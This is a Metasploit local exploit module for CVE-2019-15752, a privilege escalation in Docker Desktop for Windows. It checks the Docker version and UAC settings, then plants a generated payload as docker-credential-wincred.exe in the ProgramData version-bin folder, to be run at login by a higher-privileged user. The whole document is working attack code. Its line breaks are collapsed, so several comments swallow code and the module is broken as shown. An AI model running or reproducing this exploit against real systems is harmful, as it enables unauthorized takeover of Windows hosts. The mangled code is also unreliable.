### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Post::Windows::Priv
include Post::Windows::Runas
def initialize(info = {})
super(
update_info(
info,'Name' => 'Docker-Credential-Wincred.exe Privilege Escalation','Description' => %q{
This exploit leverages a vulnerability in docker desktop
community editions prior to 2.1.0.1 where an attacker can write
a payload to a lower-privileged area to be executed
automatically by the docker user at login.},'License' => MSF_LICENSE,'Author' => ['Morgan Roman',# discovery'bwatters-r7',# metasploit module],'Platform' => ['win'],'SessionTypes' => ['meterpreter'],'Targets' => [['Automatic',{}]],'DefaultTarget' => 0,'DefaultOptions' => {'WfsDelay' => 15
},'DisclosureDate' => '2019-07-05','Notes' =>
{'SideEffects' => [ ARTIFACTS_ON_DISK ]},'References' => [['CVE','2019-15752'],['URL','https://medium.com/@morgan.henry.roman/elevation-of-privilege-in-docker-for-windows-2fd8450b478e']]))
register_options([OptString.new('PROGRAMDATA',[true,'Path to docker version-bin.','%PROGRAMDATA%'])])end
def docker_version
output = cmd_exec('cmd.exe','/c docker -v')
vprint_status(output)
version_string = output.match(/(\d+\.)(\d+\.)(\d)/)[0]
Gem::Version.new(version_string.split('.').map(&:to_i).join('.'))end
def check
if docker_version <= Gem::Version.new('18.09.0')return CheckCode::Appears
end
CheckCode::Safe
end
def exploit
check_permissions!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
returnend# make payload
docker_path = expand_path("#{datastore['PROGRAMDATA']}\\DockerDesktop\\version-bin")
fail_with(Failure::NotFound,'Vulnerable Docker path is not on system') unless directory?(docker_path)
payload_name = 'docker-credential-wincred.exe'
payload_pathname = "#{docker_path}\\#{payload_name}"
vprint_status('Making Payload')
payload = generate_payload_exe
# upload Payload
vprint_status("Uploading Payload to #{payload_pathname}")
write_file(payload_pathname, payload)
vprint_status('Payload Upload Complete')
print_status('Waiting for user to attempt to login')end
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable,'Target is not vulnerable.')end
fail_with(Failure::None,'Already in elevated state')if is_admin? || is_system?
# Check if you are an admin# is_in_admin_group can be nil, true, or falseendend